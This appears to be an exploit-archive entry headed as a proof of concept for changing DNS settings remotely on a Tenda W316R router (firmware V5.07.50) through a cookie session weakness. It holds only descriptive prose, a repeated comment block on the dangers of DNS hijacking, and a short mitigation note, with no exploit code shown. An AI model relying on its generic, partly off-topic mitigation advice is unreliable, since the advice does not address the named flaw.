Tenda W316R Wireless Router V5.07.50 Cookie Session Weakness Remote DNS Change PoC

Once modified, systems use foreign DNS servers, which are usually set up by cybercriminals. Users with vulnerable systems or devices who try to access certain sites are instead redirected to possibly malicious sites. Modifying systems' DNS settings allows cybercriminals to perform malicious activities like steering unknowing users to bad sites, replacing ads on legitimate sites, controlling and redirecting network traffic, and pushing additional malware.

Mitigation:

Users should ensure that their systems are running the latest version of the firmware and that they have enabled the latest security features. Additionally, users should be aware of the risks of using public Wi-Fi networks and should avoid connecting to them whenever possible.

#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
